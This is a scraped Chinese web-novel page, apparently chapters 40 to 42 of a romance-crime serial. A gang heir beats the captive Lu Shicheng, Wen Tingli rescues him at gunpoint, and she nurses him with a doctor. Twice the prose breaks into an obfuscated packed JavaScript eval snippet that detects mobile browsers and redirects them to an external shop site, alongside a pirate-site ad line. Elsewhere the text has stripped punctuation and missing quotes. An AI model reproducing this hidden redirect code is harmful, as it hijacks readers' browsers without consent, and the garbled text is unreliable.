陆三爷沉吟片刻又问:“邱堂主可找了大夫过来?事成之前千万别让这小子死了。” “放心我爹都安排好了。” 陆三爷并未接茬而是冷不丁朝墙头的方向扫视过来闻亭丽登时惊出一身冷汗好在陆三爷的视线并未在墙头停留而是在围墙上的树梢上扫视仔仔细细环顾一圈重新把视线挪回地上的陆世澄身上。 “别看他不言不语算计起人来可是心狠手辣切不可掉以轻心。” 邱凌云闻言立刻拿着绳子上前给陆世澄绑了十来圈又用布条勒住了陆世澄的嘴这才拍拍手起身几个喽啰笑道:“少堂主你这也太当心了一个重伤之人犯得着这样吗?” “谨慎些总没错。” 陆三爷这才是邱凌云露出赏识的表情:“今夜就辛苦诸位了。” 众人齐力将陆三爷的轮椅抬上车发动汽车一行人离开了厂子。 邱凌云吩咐身边人:“把他拖到仓库里去。” 几个人开门捻亮了灯把陆世澄搁在仓库最里边的角落里。 四个人歪七扭八坐了一地。 闷坐片刻邱凌云对着自己的胳膊猛拍一巴掌骂道:“破地方蚊子这么多现在还不到一点钟真要是坐上一夜还不得被咬成满身包?你们两个出去买点蚊香来再顺便再买点酒和宵夜。” 几人互望一眼买蚊香是假买酒和宵夜才是真。 “少堂主这附近 好像没什么像样的夜宵店。”那两人为难地说。 “啰嗦!”邱凌云从腰间掏出一把匣子枪“近处没有不知道往远处找一找?我爹快来了这里有我看着你们还怕有什么闪失不成?平日杀人放火从不眨眼小事上倒是磨磨蹭蹭。” 把两个喽啰支走后 阿生挠挠头起身退出去了。 等到四下里无人了邱凌云踱到陆世澄面前皮笑肉不笑地说:“没想到啊你陆世澄也有今天。” 地上半点声响都无邱凌云蹲下去用枪管拨了拨陆世澄腕上的金表表情既羡慕又不忿“切”了一声一把薅住陆世澄的衣领子。 “你小子的身手不是很不错吗?像上次那样站起来狠狠揍我啊!别像一条丧家之犬躺着不动。” 他这一摇撼陆世澄鼻端突然溢出一抹鲜血脸色也苍白到了极点。 邱凌云一愣骂道:“你且装死。” 虽如此也只得把陆世澄撂回地上然而不甘心就这样作罢于是低声阴着脸问:“你老老实实告诉我闻亭丽跟你上过床没有?” 陆世澄虽仍闭着眼睛却皱了皱眉。 邱凌云冷笑:“一试就叫我试出来了骂你你没动静一听她的名字就有反应也对今日要不是惦记去赴她的约也不会误中我们的圈套。若非早对她动了心思何至于接二连三帮她解围。我问你你跟闻亭丽睡过几次?说话!别装死!” 忽又暧昧地笑起来。 “你不说也没关系回头我亲自验验她的身不就知道了。” 那笑声极其下流无耻。 陆世澄冷不丁睁开双眼眼神凌厉无比让邱凌云心里不禁一寒。 邱凌云啐道:“想杀人啊?!你以为你还护得住闻亭丽你自己都要死了!” 他起身对着陆世澄的小腿重重踹了一脚。 陆世澄咬牙闭上眼睛。 “疼了?”邱凌云得意至极“你不是硬气得很吗?我告诉你这是你欠我的。我跟闻亭丽青梅竹马要不是你和姓孟的横插一脚她早就是我的老婆了!” 踹过这一脚邱凌云骂骂咧咧走到另一边捡起地上的 一根铁棍,回来冷笑道: “总算老天开眼,你小子既落到了我的手里,上次你羞辱我的账总要跟你算一算。” 说完这话,邱凌云高高扬起手里的铁棍,对准陆世澄的小腿抡下去, 陆世澄面色一变,勉强翻了个身,吃力地向门外挪去。 “想跑?”邱凌云狞笑着再次抡起了铁棍,“我要的也不多,只需打断你两条腿就行了!横竖你现在一身伤,别人也看不出哪些伤是新添的!” 因为使了全力,铁棍在半空中带起一阵“呼呼”的风声。 这一棍抡下去,陆世澄的腿非断不可。 说时迟那时快,“砰”的一声,邱凌云手里的铁棍应声而落。 邱凌云直勾勾望着自己的手腕,一脸发懵。 下一瞬,他看清自己的手腕上有大股鲜血淌下来,顿觉毛骨悚然:“枪!枪!是谁!” 一面惨叫,一面慌手慌脚想要把自己的枪从腰带里扯出来,然而右手使不上力气,双腿也直发软,唯恐自己再挨第二枪,捂着手腕踉踉跄跄朝大门方向跑。 “快来人!阿生,阿生,这地方有埋伏!” 外头的阿生早持着枪闯进来,偏在这时,第二发子弹从窗口方向射出,准确地击中了阿生。 接着是第三枪,这一次,子弹击中了邱凌云的屁股。 再然后,仓库上方的灯泡也被击碎。 这几枪连贯又干脆,顷刻间让四周陷入了黑暗。 邱凌云和同伴慌作一团,那位藏在暗处的枪手不只枪法极准,还异常果断和冷静。出于求生的本能,他们不得不忍着剧痛向外爬,同时扯着嗓子大喊救命。 然而,二人的呼救声并未持续太久,就因为伤势太重而昏死过去。 仓库再次陷入了死寂,有几个人轻手轻脚从窗户上方跳下来。 半个钟头后,几辆汽车从外头驶进来。 “咦,凌云这小子怎么也不开个灯。”领头的男子扬声喊道,“凌云?凌云?” 喊着喊着,邱大鹏忽似觉得不对劲,沉着脸从腰间拔出枪,脚步也随之变缓,异常警惕挪到仓库门口,忽然大吃一惊:“凌云!凌云!快醒醒!谁这么大的胆子!” 伴随着杂乱的脚步声,无数道灯束射过来。一班人 紧随着邱大鹏跑过来察看地上两人的情形另一拨举着枪小心翼翼进仓库察看旋即又白着脸退出来。 “不好!邱堂主!陆世澄不见了!” *** 陆世澄昏昏沉沉注视面前的浓雾。 四周黑幽幽的分不清是梦境还是现实前方浮着一盏灯像在指引他向前走他跌跌撞撞走着不知不觉来到了一个极亮的所在自己的身躯变得极幼小有个人紧紧抱着他。 “别往后看当心绑匪追上来。”他当即认出那是母亲的声音母亲抱着他深一脚浅一脚地跑着声音里充满了恐惧。 他听见自己小声哭着说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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母亲放声大哭:“钱也拿到了你们到底还要怎样?你们的同伙嫌分赃不均又打算用我儿子再敲他祖父一笔刚跑不远求求你们快帮我把我儿子追回来!” “别听她胡说我看那孩子就藏在这树林子里喂小少爷你妈妈在我们手里你再不出来当心我们把你妈妈吃掉。” 他一听就急了差点就从树洞里钻出来但是脸颊上的刺痛让他猛然想起了妈妈的那个巴掌。 妈妈说了如果他发出声音就再也别想见到妈妈了妈妈从来没有骗过他。 紧接着林子里传来一记脆响像是巴掌甩在脸上的声音。 “你听你再躲着不出来我们就把你妈妈打死了。” 有好几次他想不顾一起爬出去但是妈妈的叮咛仿佛化作了一条看不见的绳索一遍遍把他重新圈回到树洞里。 “只要你乖乖的不出声 对他们一定在骗他一个人痛的时候会哭的可是外面根本听不到妈妈的声音说不定妈妈已经逃跑了。 他咬紧牙关泪眼婆娑抱着膝盖一动也不敢动。 再后来那帮人走了外面变得安静异常。 没有人声也听不见树叶被风吹动的声音全世界仿佛只剩他一个。 一种前所未有的恐惧感 让他再也没法乖乖听妈妈的话待在树洞里他慌手慌脚爬出去找妈妈。 林子里果然一个人影都不见。 地上有大片暗红色的液体妈妈不见了。那帮坏人也不见了。 他慌张地蹲下来望着那片红哭可是他的喉咙里像是被无形的东西堵住突然就哭不出声来了。 他惶惑起身继续无声哭着四处找妈妈找着找着忽然记起妈妈的叮嘱。 “对着太阳相反的方向跑一里地。跑!跑!只要你乖乖的妈妈很快会来找你!” 他埋头跑了起来跑了没多久后面传来了汽车的声音那些人又回来了。 “小少爷别跑了你妈妈在找你。” 他一声也不敢应。 但他们还是追上来了。 这个时候耳边再次响起那种爆竹般的声音这次却是从对面射出来的而发出惨叫的则是后面车上的男人。 迎面来了一大帮人领头的是几张熟悉的面孔。 “澄少爷。”几辆车飞快开到他身边有人一把将他搂上车。 他拼命扭动着极度的焦忧让他胃里泛起一阵强烈的恶心。 “别怕别怕。“中年男子搂紧他安抚 妈妈妈妈快救妈妈。他在心里大喊但无论他喊得再响喉咙里也无法发出半点声响。 他开始浑身发抖挣脱着跳下车找寻妈妈。 他没有乱喊妈妈也该遵守承诺来找他了。 但妈妈失信了。无论他找到哪里都没能再见到妈妈的身影。 眼前忽一暗四周变成了一个陌生的厂房。 陆克俭在耳边冷笑。 “我说你为什么这样恨我们原来是为了替你爹娘报仇?” “那件事明明做得天衣无缝你究竟是何时猜到是我和二哥做的?” 忽又变成了邱凌云的求饶和惨叫。“有埋伏救命!” 一片黑暗中有道人影朝自己飞快奔过来。 他的视线其实早已模糊了但他隐约觉得来人很熟悉。 “砰砰砰砰——” 那不是爆竹声是枪声。 “陆先生陆先生。”有人焦急地小声喊着。 是她! 他的心房忽被一种模糊的担忧所攫住伸手想要把她推开。 别管我快走! 谁知抓了个空。 他瞬间惊出一身冷汗急忙睁开眼就听耳旁有个人充满惊喜地说。 “陆先生你醒了。” 作者有话要说 第 41 章 相处。 第41章相处。 闻亭丽在外屋打着电话,里屋突然传出低微的声响。 她丢下电话就朝屋里跑,可等她意识到自己刚才听见了什么,双脚一下子嵌在了原地。 那是一个全然陌生的年轻男子的声音,在低低地喊着什么。 迟疑地聆听几秒,她倏地加快速度跑进屋,床上躺着一个人,满身是伤,眉头紧锁,额头不断沁出大颗大颗的汗珠,表情是如此痛苦,俨然正跟一头看不见的猛兽做着搏斗。 闻亭丽奔到床边俯身察看他的情形,就在这时,她再次从他口里听见了那两个字。 “妈妈。” 没有错,清清楚楚是从陆世澄的嗓间发出来的。 陆世澄的声音很低沉,也很好听,然而非常陌生,毕竟她此前从未听过他开口说过话。 她一时说不出是震惊还是高兴,小心翼翼伸手触摸他的额头。 “陆先生,陆先生。” 一触就慌了,他又开始发烧了!这样下去陆世澄会死的,不行,她得赶紧找厉成英商量对策。 她刚要从床边起身,手却被人攥住了,一回头,对上了一双迷离的眸子。 陆世澄不知何时睁开了眼睛。 闻亭丽惊喜到无以复加。 “陆先生,你醒了!” 起初,陆世澄的黑瞳并未聚焦,只是惘然地望着闻亭丽,似乎在竭力思考着什么,有那么一阵,他一动也不动。 “你又发烧了,我去给你拿药。”闻亭丽再次探手确认他的温度,“你的状况很不好,肋骨断了三根,后脑勺上还有一个血肿,昨晚那帮混蛋下手太狠了,幸好当时我一个医生朋友赶来帮忙,不然我真不知道怎么救你。” 陆世澄眼底起了微澜,吃力地转动眼珠,先看向她的手,又看向她的肩膀和手臂,最后落到她脸上,他的眸光渐渐清亮起来,眼神也开始有了含义,很担心地察看着什么。 “我没有受伤。”闻亭丽忙说。 陆世澄仿佛松了口气,闭了闭眼,再睁开,目光依旧落在她脸上,带着几分好奇和探究。 闻亭丽屏住呼吸等他开口询问。然而,尽管陆世澄昏迷时发出了两句呓语,但那仿佛是 有时效的,这次他没能再次发出声音。 要不是亲耳所闻,闻亭丽简直要怀疑刚才是一出幻戏,疑惑归疑惑,她只得笑起来说:“我知道陆先生想问什么,好吧我承认,是我救了你,我有枪。” 她从书袋里取出一把匣子枪在他眼前晃了晃。 “上回在陆公馆,陆先生你问我认不认识卫英帮的人,我当时没说实话,因为我想保护她们。” 她解释说:“我父亲出事之后,我怕邱氏父子再来骚扰我们,就想办法弄到了卫英帮的联系方式,她们最看不得妇女遭受欺凌,很愿意帮我的忙,上次在甘家巷我被邱大鹏堵住时来的那帮老太太,就是卫英帮派来的,我知道陆先生一度很疑惑她们的来历,很遗憾我当时无法将实情告诉你。这枪,就是卫英帮的人给我的,这半年我经常跟她们偷偷学枪法。今晚我本来跟几位朋友约了在那间废厂子练枪,没想到刚巧撞上有人害你——” 这番话半真半假,她固然信得过陆世澄的品行,但她绝不能向任何人透露厉成英她们的地下身份,哪怕是陆世澄也不行,今晚要不是厉成英帮忙,自己根本不可能成功救出陆世澄,她们一次次保护她,她也得尽全力保护她们。 陆世澄的目光怔然落在她的枪上。 “我们把你救走后,担心半路会遇见白龙帮的人,干脆就近把你藏在了我这边,白龙帮以为你被陆家的人救走了,一窝蜂回陆公馆附近搜查去了。”闻亭丽小声说,“我有一位同伴是学西医的,看你伤得很重,就顺便帮你处理了伤口,她刚回医院去取药品和手术包了。你放心,我这几位朋友为人十分正直,并且历来痛恨白龙帮的所作所为,昨晚的事她们不会向任何人说起。对了,我听那帮混蛋的意思,他们接下来似乎要对付邝先生,所以一回来我就给邝先生的寓所打了电话,我想邝先生立刻会采取行动,陆先生,你不会怪我自作主张吧?” 陆世澄试图撑起自己的上半身。 闻亭丽连忙扶住他的肩膀:“快别动,你要做什么直接告诉我就成了。” 陆世澄满头大汗,抬起自己未受伤的那只手,指了指闻亭丽的书袋。 闻亭丽从里面拿出笔和本子。 陆世澄伸手欲接,无奈握不住笔,而且仅仅是动了这两下,他的额头又开始出汗。 闻亭丽心知他疼得厉害,索性帮他把手指握着放到自己的掌心里。 “在我手心里比划也是一样的。 陆世澄很吃力地一笔一画写着,半晌才写完。 闻亭丽只当是多么长的一段话,谁知他费力写了半天,竟是“谢谢二字。 她不禁哧地一笑,陆世澄正定定看着她。 他的表情没有半点开玩笑的成分。 闻亭丽只觉得掌心里那个无形的“谢字在发烫,垂眸微笑了下:“上次你帮我那么大的忙,陆先生不但不要我对你说谢谢,事后还躲着不见我,所以,我也不需要你对我谢谢。 她虽是一本正经说着,话语里却透着小小的不满。 陆世澄倒回枕上,望着天花板无声笑了起来。 闻亭丽也笑了,笑着笑着,自己又觉有点不好意思,便一脸严肃对他说:“既然你已经醒了,我那位朋友就不需要冒着风险上门了,我给陆公馆打个电话,请陈管事赶快找一位好大夫来给陆先生养伤。 陆世澄摇摇头。 【单独找路易斯。】 看样子,陆世澄也跟她一样在怀疑陆公馆有内奸! 她赶忙按照陆世澄给她的联系方式给路易斯打电话。 这时,周嫂端着一碗粥悄悄朝里屋看了看,待闻亭丽依次给路易斯和厉成英打完电话,便将她拽到一边。 “陆先生伤得那样重,陆家怎么还不派人来?“ 闻亭丽无法向周嫂解释这复杂的局面,只好小声说:“该来的时候会来的。 周嫂担忧地对着门外指了指:“我只担心对面的小两口听见这边的动静,万一他们出去到处说,被陆先生的仇家听见了怎么办。 闻亭丽摇了摇头:“不会的,我们两边套房当中隔着一个圆厅,陆先生又被我们安置在最里面那间房,套房门一关,彼此什么也听不见,当初我就是冲着这个好处才租的这房子。 至于陆三爷和白龙帮那边,陆世澄没醒也就罢了,这一醒,他必然不会再让自己陷入险境。既然他没说要挪去别的地方,说明有他自己的考量。况且邝志林那边已经得到消息了,此人能得陆世澄信重,手段有多高明自不必说,接下来只需静观其变就是了。 这话却对 周嫂说不着。 “我就怕万一呀。”周嫂仍在唠叨,“万一陆先生的仇家找上门来,我们一家人可就无法安生了。” 闻亭丽立即对周嫂进行一连串的质问:“陆先生帮过我们多少回了?现在他遇难,再危险也得帮忙不是?难不成所谓的报恩,就是平时做些锦上添花的小事?再说,他现在一身的伤,挪来挪去只会让他伤情加重,您就别罗嗦了,我心里有数。” 周嫂跺了跺脚:“我是那样的人吗,我当然知道陆先生是好人,昨晚看到他被人伤成这样我也很痛心。我是担心小桃子,她还不懂事呢,待会她醒来看到陆先生,可不得大嚷几句?” “小桃子才不会大嚷,我会好好跟她讲道理的。”闻亭丽接过周嫂手里的碗进屋。 一进屋,就看见陆世澄侧着把脸埋在枕头里,他的头发全被冷汗打湿了,一看就知道伤口正疼,这种情况下一个人是绝无可能睡着的,不必说,屋外的对话他全都听着了。 闻亭丽有点讪讪的,温声对他说:“路易斯大夫说他大约一个小时后会赶到,他还说你可以吃点东西,饿了吗,要不喝点粥垫垫肚子?” 陆世澄在枕上点点头。 他这样子让闻亭丽想起了小桃子生病时的样子,很乖,很听话,不吵不闹的。只是伤势太重,模样也太惨,所以看上去比小桃子生病时还要可怜和脆弱。她压住自己心里这些奇奇怪怪的念头,上前将陆世澄稍微扶正一点,结果不慎碰到陆世澄的伤处。 她吓得一缩手:“是不是弄疼你了?对不起。” 陆世澄无声一笑,对她摇摇头。 闻亭丽却很清楚他一定疼得厉害,怀着愧疚的心情帮他调整好位置,坐在床边舀了一口粥,先把勺子放到自己唇边试了试温度,再小心翼翼送到他唇边。 陆世澄垂眸望着唇边的勺子,似在犹豫要不要直接喝这口粥。 闻亭丽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482358|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这才意识到自己在拿她吃过的勺子喂他,这是她平日给小桃子喂饭时的习惯性动作,做惯了,连给陆世澄喂粥时也如此。 他若是毫无芥蒂地就着她的勺子吃下去,未免有点冒犯,毕竟她的嘴唇刚碰过勺尖。 倘若躲开她的勺子,又像是在嫌弃她似的。 她这哪是在喂吃的,分明在给人家出难题。 “你等等,我再—— 陆世澄一低头就把那口粥吃了下去,闻亭丽心尖一颤,喂第二口时,她的脸还是有点烫,不再用自己的嘴唇帮他试温度,只对着轻轻勺子吹气,其实据汤普生大夫说,这样也是不卫生的,但粥太烫,他太饿,一时也顾不得那么多了,她喂一点,他就安安静静吃一点。 吃着吃着,陆世澄额头上的冷汗越来越多,勉强吃了半碗,带着歉意摇了摇头。 原来他根本没什么胃口,他只是很清楚自己此刻急需营养恢复体力,强逼着自己吃罢了。 闻亭丽将碗放在床边的小桌上,用淡盐水帮他漱了口,又端着一盆水和毛巾进屋,眼下不是讲究虚礼的时候,换作是她,也愿意有人帮自己擦擦身上,于是轻声问陆世澄:“要不我再帮你擦擦脸和脖子吧? 陆世澄一滞,但随即点点头。 擦拭时,闻亭丽很注意不去碰他的伤,幸而他的伤大多在脑后和胸腹处,脸上的伤口并不多,擦着擦着,不小心碰到了他的胸口,他的心跳得好快,她一低头,才发现自己的一缕鬈发落到了他的脸上,而且两个人不知不觉越靠越近。 陆世澄没看她,而是扭头专注地望着身侧的墙壁,仿佛那地方有特别之处值得他好好研究。 闻亭丽的脸一阵阵发热,状似无事缩回手,轻咳一声:“擦好了。对了,我去看看路易斯大夫来了没有。 到大门口等了一会,并未等来路易斯,又讷讷地转回来。 路过走廊的时候,闻亭丽特地到对面邻居的房门前停了片刻,里面一点人声都没有,可见两口子一大早就上班去了。 闻亭丽稍稍放心。 一进屋,就看到周嫂从面前飞快跑过,边跑边压低嗓门说:“小桃子,不许去那边! 闻亭丽忙跟过去。 屋里,小桃子顶着一颗乱蓬蓬的小脑袋,愣愣地望着床上的陆世澄发呆。 陆世澄像是再次陷入了昏睡,小桃子年纪虽小,却看惯了自己父亲重病时的样子,一看就知道陆世澄状况不好。 她有点害怕,返身跑到姐姐和周嫂的身后躲起来。 “陆先生?她指着床上的陆世澄说。 “嘘,别作声,现在外头有坏人想要抓走陆先生,一 嚷就会把坏人引来。你看陆先生受了重伤他得在我们家里养几天伤这期间绝对不能叫外头的坏人知道陆先生在这里小桃子大了得学会保护大家知道吗。” 小桃子使劲点头。 闻亭丽在妹妹脸蛋上亲了一口近前摸了摸陆世澄的额头他的温度比之前更烫了心里一急赶忙跑到厨房弄了点冰袋搁在陆世澄的额头上又找出昨夜厉成英留下的退烧药用水磨碎了同周嫂一起给陆世澄喂药。 小桃子站在床边紧张地望着这一切等姐姐从床边起身便抱住姐姐的腿仰头问:“陆先生……会死吗?” 话音未落大门外传来揿铃声。 来人正是路易斯他手里提着一个大皮箱表情异常严肃:“甩掉那些耳目花了我不少时间……快带我去看看陆先生的情况。” “他在发烧刚才吃了半碗粥。” 望见床上的人路易斯倒抽了一口气快步趋近到床边把皮箱放在一边掏出一支细小的手电筒掀开陆世澄的眼皮照了照 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节)紧接着打开薄被看了看陆世澄的胸腹处末了探头察看他的后脑勺。 “昨晚有人帮陆先生处理过伤口?” “是我的一位朋友是西医昨晚陆先生出事时我请她来帮过忙。” “谢谢你们二位!”路易斯庆幸而感激地说“处理得相当及时否则陆先生的情况会更麻烦。这样吧我得马上给陆先生做个小型的清创术闻小姐待会可能需要你帮忙搭把手。” 闻亭丽忙不迭点头:“好。” 作者有话要说 第 42 章 撩动。 第42章撩动。 当天夜里,闻亭丽被一阵不知名的动静惊醒,当她意识到那声音是从隔壁房间传来的,忙一骨碌从床上爬起来,顺手揿亮床头的小灯。 一看钟,时间是六点。 事实上她四点钟才睡下,四点钟之前,她一直在帮路易斯为陆世澄治伤,路易斯连夜做了清创和包扎,但因为陆世澄伤得太重,路易斯自己也没有把握能否帮陆世澄挺过这一关。 路易斯说,假如天亮之前陆世澄的体温还是降不下来,那么,明知移动可能导致陆世澄伤情加重,他们也需连夜把陆世澄转移到大医院去。 但如此一来,陆三爷和白龙帮那边必然会得到消息,邝志林暂未赶回,陆公馆那边又有内奸,陆世澄自己尚未清醒,无法亲自调兵遣将。 这一去,陆世澄必然会再度陷入极危险的境地。 闻亭丽忧心忡忡,后来路易斯看她实在太累,便说病人由他来照料,让闻亭丽先回房休息。 尽管睡下了,闻亭丽却因为担心陆世澄病情恶化睡得并不踏实,这不,隔壁一有动静她便惊醒了。 她披上外衣赶到隔壁,一进屋,就看见路易斯呆立在床边,床上,陆世澄正低声呓语着什么。 闻亭丽不禁苦笑,昨天她骤然听到陆世澄开口说话时,脸上的表情估计跟现在的路易斯差不多。 “很突然对不对?”闻亭丽走近小声对路易斯说,“昨天夜里我也听到了,陆先生喊的也是‘妈妈’。” 路易斯在床边无措地思索了一阵,尝试着分析道:“陆先生的声带并未损坏,他的哑疾似乎与幼年时期受过重大刺激有关,这回他遭到了重创,用你们中国人的话来说:在鬼门关前走了一遭,这种濒死的经历有助于他突破一些心理上的障碍也未可知。” 闻亭丽怀着复杂的心情探了探陆世澄的额头。 这个动作提醒了路易斯,他将体温计从陆世澄的衣服里取出,对灯一看,轻吁一口气:“体温下来了。” 闻亭丽忙问:“这不是说明陆先生的情况稳定一些了?” “至少是个好现象,究竟是年轻底子好……白天再观察一天,假如病情没有恶化,那么先不用冒着风险把陆先生往医 院送了。” 闻亭丽高兴地捂住自己的胸口。“天快亮了病人需要营养大夫您也需要补充体力我去买点早餐。” 路易斯拦住闻亭丽:“恐怕得麻烦闻小姐出门一趟。” 他指了指仍在昏睡的陆世澄。 “陆先生出了许多汗这样捂下去实在不利于伤口恢复还请闻小姐出门帮忙买一套可以换洗的衣裳顺便再帮陆先生买些私人的盥洗用品另外这是陆先生马上需要用到的一些药品我的诊所附近现有不少陆三爷的眼线你拿着我的药方直接去五洲大药房拿药。” 闻亭丽点点头说:“待会如果您有什么要帮忙的地方只管吩咐周嫂便是了。” 出门前闻亭丽特地回房换了一身不起眼的衣裤又从衣箱里翻出一顶过去在学校里排话剧时用的假发戴在头上对镜看了看又在脸上加了一副粗框眼镜才算完。 她知道陆三爷和白龙帮绝对猜不到那一晚是她救了陆世澄但谨慎些总归没错。她这样一妆扮别说是陌生人就算是熟人也未必能一眼认出她来。 拾掇完毕闻亭丽检查了书袋里的手枪和钱包在清晨的淡青色天光里出了门。这一出门足足坐了一个钟头的车才到洋行。 进去后闻亭丽迅速买好了奶粉、男式软袜、毛巾、肥皂、拖鞋等物打听到男子成衣部在二楼又上楼挑衣服。 现在陆世澄仍在昏迷中外衣是穿不着的依她看不如直接买两套轻软的寝衣回去。只是她生平第一次买男子寝衣多少有点摸不着头脑在男子成衣柜台前转了好半天也能拿定主意。 那卖货的西崽极为乖觉:“小姐把先生的身量告诉我。” 闻亭丽故作老成用手比划了几下:“他身段比较高挑身量大概比你高这么多 “先生的腰围呢?” 闻亭丽怔了怔:“具体我也不知唔反正腰身的尺寸不会阔。” 西崽屁颠颠到柜台后面拿出十来套寝衣有贵的也有便宜些的。 闻亭丽先看便宜的样式倒是不差只是布料不太透气想起陆世澄眼下一身是伤很坚定地拿起那套较贵的寝衣打量那西崽眼睛一亮:“小姐好眼光这都是正宗的舶来货料子既轻软又透气 ,夜里穿来睡觉再舒服不过了。” 闻亭丽心里十分满意,嘴上却说:“这料子看着虽好,但外头随便一家布料行都能买到,进货价才三块大洋一匹,你这款式也没什么出奇,凭什么就比别处贵上三倍了” 西崽一听这话,就知道闻亭丽要么自己是开洋服店的,要么在洋服店做过事,便笑道:“布料行固然能寻到便宜货,但其中一多半是仿制品,就算是同一匹布,自己扯料子到裁缝铺做,也断乎做不出这时髦的款式,我这可是实打实的巴黎货,你看看这款式多么绅士,多么得体。同等式样的寝衣只有南京路上能买着,但那边的价格比我这还要贵上好几倍。” 经过一番讨价还价,闻亭丽一口气买了两套,一套樱白,一套墨蓝,颜色都算淡雅。 她并不知道陆世澄平日都穿什么牌子的寝衣,但在她看来,这样好的料子和款式,即便是陆世澄来穿,总不至于穿几次就扔。 结完账时间不早了,闻亭丽顺手在报摊买了几份报纸,招了一辆黄包车上车回家。 路上,她把三份报纸从头到尾看了一遍,既没看见白龙帮那边的消息,也没看到陆世澄的相关新闻。 她心里直纳闷,报上没登陆世澄的消息还好说,奇怪的是白龙帮竟也一点动静都没有,那晚她可是接连打中了邱凌云两枪,他即便不死也要受重伤。 以邱氏父子目前在白龙帮的地位,倘如邱凌云重伤不治,坊间多少会传出一点风声。 只是眼下没时间出去细打听,到家后,闻亭丽先警觉地观察四周,确定没有不妥,这才开门径直回自己的套房。 周嫂牵着小桃子从里屋迎出来。 “陆先生醒过一回。”周嫂小声说,“那位洋大夫给喂了一碗粥,但陆先生精神头很差,交代了几件事就又睡过去了。” “您帮着把这些衣袜洗一洗晾起来,傍晚应该就干透了。” 周嫂看见两套极轻软的男子寝衣,不免露出些讶色,闻亭丽早拉着小桃子急匆匆进了屋。 屋内,路易斯站在床边记录着什么,床上一点声音都没有,上午的阳光从窗外落到床头,陆世澄的一半脸庞罩在澄透的光里。 他睡得很沉,几簇黑短发凌乱地覆在额头的白纱布上,这令他比平日多了一些孩子气。 “怎么样?又在发烧吗?”闻亭丽近前小声问。 “不烧了。”路易斯说“我给陆先生用了一些止痛药他刚睡着。” 闻亭丽神色一松 路易斯逐一查看。 “都是对的。牛肉汁和营养膏过两日再吃奶粉待会等陆先生醒了就泡给他喝我猜他最多再睡两个钟头就会醒了。” 说到此处路易斯突然用一种奇怪的眼神觑了闻亭丽好几眼。 “怎么了?” 路易斯笑着摇摇头:“我只是觉得……陆先生内心深处应该是很信任闻小姐的不然他不会睡得这样沉。” 闻亭丽有一阵没吭声过片刻才愉悦地轻声说:“我去给您倒杯茶吧。” 午饭过后周嫂把晾干的寝衣收进来这料子极薄在大日头底下晒两个钟头就干了。 闻亭丽在厨房烧了两壶水把新买的脸盆毛巾等物一一烫过消毒连同新买的寝衣一并交给路易斯随即掩门出来。 路易斯留在屋里给陆世澄擦洗和换药半个钟头后才出来闻亭丽接过水盆:“周嫂在沙发上铺了一套被褥您好歹去睡一觉有什么不妥我再叫您。” 路易斯疲惫地揉揉眉心:“也好待会若是陆先生醒来劳烦闻小姐先给他喂点东西只要他能动尽量扶着他下地走动一下躺久了保不准会出现一些新的并发症。” “好。” 路易斯走后闻亭丽坐在床边望着陆世澄。 身后小桃子不知何时也进来了她吃着姐姐刚买回来的朱古力在屋子里踢踏踢踏走着被姐姐低声制止后便走过来挨着姐姐好奇打量床上的陆世澄。 “陆先生吃不吃朱古力?”她大方地从衣兜里拿出另一块。 “陆先生现在不能吃这些。” “陆先生会饿死吗?” 闻亭丽吃吃地笑:“他饿的时候自然会醒来的。路易斯大夫说对病人来说睡眠跟吃饭一样重要。” 小桃子似懂非懂听着这时周嫂过来说:“小桃子我们也该睡午觉了 。 小桃子马上像块牛皮糖紧紧黏着姐姐:“小桃子要姐姐带着睡。 忽听周嫂讶道:“陆先生醒了。 闻亭丽一转头,果见陆世澄在床上茫然地看着她们几个。小桃子只当陆世澄是被自己吵醒的,被周嫂一牵,乖乖去睡午觉了。 闻亭丽探手摸摸陆世澄的额头,异常欢喜地发问:“饿了吧?先吃点鸡肉粥。 陆世澄尝试着动弹,一低头,陡然仿佛发现身上穿着一套从未见过的寝衣,一愣之下,举起自己未受伤的那只胳膊,衣袖随着他的动作落到了肘窝处,他皱眉打量着这件陌生衣裳。 “路易斯大夫交代我帮你买的,他说你出了许多汗,得赶快换衣裳,我就出去随便买了两套,也不知道合不合身。 陆世澄转眸望向她,闻亭丽欣然帮他把胳膊塞回被子里,随即舀了一勺粥送到陆世澄嘴边。“这样空着容易伤风,先吃东西吧。 陆世澄的胃口比预想中要好,一碗粥吃完了,还眼巴巴看着碗里。 “还想吃? 陆世澄点点头。 闻亭丽扑哧一笑,这大约是陆世澄第一次在她面前流露出孩子气的一面。 她忍笑拿走空碗,换一杯淡盐水给陆世澄漱口。“饿也不能给你了。路易斯大夫交代过不能一次性吃太饱,剩下的留着晚上吃。还有,我得扶陆先生下地走一圈,这也是路易斯大夫交代的。 陆世澄望着天花板无奈地笑,默了默,艰难侧过身掀开被子,闻亭丽急忙制止他:“等一等。 她背对他坐在床沿,用手拍拍自己的肩膀:“来,把胳膊搭在这儿,我扶着你走。 陆世澄略一犹豫,乖乖按照闻亭丽的话做了。 然而,闻亭丽委实低估了一个青年男子的重量,这几日他虽然瘦得不成样子,体格依旧比病重时的父亲要好许多,何况他本就比父亲足足高一个头,两人起身的一瞬间,猝然晃动了好几下,幸亏闻亭丽情急之下抓住了床尾的挡板,不然准把陆世澄一下子摔回床上。 闻亭丽吓出一身冷汗,急忙察看身侧的陆世澄,不料陆世澄闭着眼睛在苦笑。 他这一笑,让她心头一松。 “对不起,弄疼你了吧?她懊恼地说,“你别怕,我力 